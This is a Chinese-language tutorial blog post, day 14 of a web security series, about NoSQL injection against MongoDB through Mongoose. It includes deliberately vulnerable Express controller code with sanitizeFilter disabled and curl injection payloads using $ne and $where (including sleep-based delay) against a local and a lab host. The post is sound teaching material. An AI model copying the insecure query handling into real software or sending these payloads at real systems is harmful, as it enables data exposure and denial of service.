iT邦幫忙

2024 iThome 鐵人賽

DAY 14
0
Security

資安這條路:系統化學習網站安全與網站滲透測試系列 第 14

資安這條路:Day 14 NoSQL 過於信任 json 內容與關閉安全機制

  • 分享至 

  • xImage
  •  

前言

延續昨日的練習,Nodejs 中 Mongoose 本身有驗證機制,因此了解框架內部含有的安全機制,也是開發者需要了解的內容。

NoSQL Injection 與防護機制

NoSQL 注入攻擊的原理類似於 SQL 注入,攻擊者可以利用應用程式中對使用者輸入的信任,注入惡意的查詢運算子,操縱資料庫查詢邏輯。

常見的運算子如 $ne$where 可以用來繞過查詢條件、執行 JavaScript 程式碼,甚至造成拒絕服務攻擊。

例如,MongoDB 中的 $where 運算子允許在查詢中執行 JavaScript 表達式。如果不對輸入進行嚴格過濾,攻擊者可以利用 $where 注入,如執行 sleep() 函數來拖慢伺服器回應,甚至對資料庫進行篡改和竊取。

此外,MongoDB 本身沒有內建的查詢參數清理功能,因此開發者需要依賴如 Mongoose 這類的 ORM 工具來處理查詢中的安全風險。

然而,如果開發者關閉了像 sanitizeFilter 這樣的防護機制,應用程式將變得更加脆弱,容易受到 NoSQL 注入攻擊的威脅。

Mongoose 6.x 引入了查詢清理機制(sanitizeFilter),該機制會過濾掉潛在的危險運算子如 $where

因此,了解如何正確處理 NoSQL 查詢並防範注入攻擊,是確保應用程式安全運行的關鍵。

目標

本課程的目標是深入探討 NoSQL 注入攻擊的原理,並透過實作範例展示如何在 MongoDB 與 Mongoose 中進行有效的防護。

本課程將涵蓋如何識別潛在的 NoSQL 安全風險,尤其是涉及 JSON 運算子注入的攻擊方式,並展示如何透過適當的輸入過濾和查詢清理機制來保護應用程式免受這類攻擊。

學員將透過以下目標達成學習成果:

  1. 理解 NoSQL 注入的風險:學員將學會如何辨識 NoSQL 注入攻擊,包括 MongoDB 中常見的運算子如 $ne$where 如何被濫用。
  2. 學習如何安全處理 NoSQL 查詢:學員將了解如何在 Mongoose 中使用安全查詢篩選和防止注入的工具,如 sanitizeFilter,以及如何進行輸入驗證以防範惡意注入。
  3. 實作 NoSQL 注入與防禦:透過實作商品篩選功能的 API,學員將親身操作 NoSQL 注入攻擊,並學會如何防範這些攻擊。
  4. 熟悉查詢操作的最佳實踐:學員將掌握如何安全地編寫查詢邏輯,正確使用 MongoDB 的運算子,並避免過度依賴 JSON 結構進行查詢,從而保證應用程式的安全性和穩定性。

實作

程式碼連結

https://github.com/fei3363/ithelp_web_security_2024/commit/a70c2e72ad383e1fd3c21b1dc33c15f387c18d1c

程式碼建立

  • productController.js:此控制器包含了商品的查詢、篩選、以及基於價格篩選的 API。使用者輸入的 categoryprice 會進行篩選,但沒有嚴格過濾 JSON 結構,導致運算子注入風險。
const Product = require('../models/product.model');
const mongoose = require('mongoose');

// 列出所有商品
exports.getAllProducts = async (req, res) => {
  try {
    const products = await Product.find();
    res.json(products);
  } catch (error) {
    console.error(error);
    res.status(500).send("伺服器錯誤");
  }
};

// 搜尋商品
exports.searchProducts = async (req, res) => {
  const query = req.query.q;
  if (!query) return res.status(400).send("請提供搜尋字串");

  try {
    const products = await Product.find({ name: new RegExp(query, 'i') });
    res.json(products);
  } catch (error) {
    console.error(error);
    res.status(500).send("伺服器錯誤");
  }
};

// 依據類別篩選商品
exports.filterProducts = async (req, res) => {
  const { category } = req.query;
  let filter = {};

  try {
    if (category.startsWith('{')) {
      filter.category = JSON.parse(category);
    } else {
      filter.category = category;
    }

    const products = await Product.find(filter);
    res.json(products);
  } catch (error) {
    console.error(error);
    res.status(500).send("伺服器錯誤");
  }
};

// 依據價格篩選商品
exports.filterProductsByPrice = async (req, res) => {
  let { minPrice, maxPrice } = req.query;
  let filter = {};

  try {
    if (minPrice) filter.price = { $gte: Number(minPrice) };
    if (maxPrice && !maxPrice.startsWith('{')) filter.price = { ...filter.price, $lte: Number(maxPrice) };
    if (maxPrice && maxPrice.startsWith('{')) {
      const parsedMaxPrice = JSON.parse(maxPrice);
      filter = { $where: parsedMaxPrice.$where };
    }

    const products = await Product.find(filter);
    res.json(products);
  } catch (error) {
    console.error("伺服器錯誤:", error);
    res.status(500).send("伺服器錯誤");
  }
};
  • mongoose.js:關閉 sanitizeFilter 機制以模擬不安全情境。
const mongoose = require('mongoose');
mongoose.set('sanitizeFilter', false); // 關閉自動過濾,增加 NoSQL 注入風險
  • routes/productRoutes.js:設定 API 路由。
const express = require('express');
const router = express.Router();
const productController = require('../controllers/productController');

router.get('/list', productController.getAllProducts);
router.get('/search', productController.searchProducts);
router.get('/filter', productController.filterProducts);
router.get('/filter-by-price', productController.filterProductsByPrice);

module.exports = router;

實作:攻擊請求

  1. 列出所有商品
curl http://localhost:3000/api/product/list
curl http://nodelab.feifei.tw/api/product/list

image

  1. 依據類別篩選商品,進行注入攻擊
curl "http://localhost:3000/api/product/filter?category={%22$ne%22:%22%22}"
curl "http://nodelab.feifei.tw/api/product/filter?category=%7B%22$ne%22:%22%22%7D"

image

  1. 依據價格篩選,使用 $where 運算子注入
curl "http://localhost:3000/api/product/filter-by-price?minPrice=100&maxPrice={%22$where%22:%22sleep(5000)%22}"
curl "http://nodelab.feifei.tw/api/product/filter-by-price?minPrice=0&maxPrice=%7B%22$where%22:%221==1%22%7D"

image

總結

在本文,我們展示了如何透過 NoSQL 運算子注入來操縱 MongoDB 的查詢,並探討了如何防範此類攻擊。在現實應用中,必須謹慎處理來自使用者的輸入,並應啟用 Mongoose 的查詢清理機制以保護系統安全。

小試身手

  1. 哪個運算子可以用於執行 JavaScript 表達式?

    • A) $lt
    • B) $where
    • C) $gt
    • D) $in

    答案:B
    解析:$where 運算子允許在 MongoDB 查詢中執行 JavaScript 表達式。

  2. 在 Mongoose 6.x 中,如何防止 JSON 運算子注入?

    • A) 啟用 strictQuery
    • B) 關閉 sanitizeFilter
    • C) 啟用 sanitizeFilter
    • D) 禁用 useNewUrlParser

    答案:C
    解析:sanitizeFilter 可以自動過濾掉潛在的危險運算子。

  3. 以下哪一項會導致 NoSQL 注入攻擊?

    • A) 使用正則表達式查詢
    • B) 使用 JSON 運算子且未檢查輸入
    • C) 使用數字範圍查詢
    • D) 使用字串比對查詢

    答案:B
    解析:未對 JSON 運算子輸入進行驗證可能導致 NoSQL 注入攻擊。

  4. 如何安全地篩選商品的 price

    • A) 允許任何查詢
    • B) 僅允許數字範圍查詢
    • C) 使用 $where 運算子
    • D) 使用字符串篩選

    答案:B
    解析:應該使用數字範圍查詢,並限制使用運算子來確保安全。

  5. 關閉 sanitizeFilter 會產生什麼風險?

    • A) 增加 SQL 注入風險
    • B) 增加 XSS 攻擊風險
    • C) 增加 NoSQL 注入風險
    • D) 沒有影響

    答案:C
    解析:關閉 sanitizeFilter 會讓應用程式暴露於 NoSQL 注入攻擊中。

實作清單

  • [ ] 建立 Mongoose 模型與控制器
  • [ ] 設定 API 路由
  • [ ] 測試商品列表查詢
  • [ ] 測試商品篩選與注入攻擊
  • [ ] 測試價格篩選與注入攻擊
  • [ ] 啟用或禁用 sanitizeFilter

上一篇
資安這條路:Day 13 探索 NoSQL injection 以及防範措施
下一篇
資安這條路:Day 15 理解 XXE(XML 外部實體)漏洞與實作指南
系列文
資安這條路:系統化學習網站安全與網站滲透測試30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言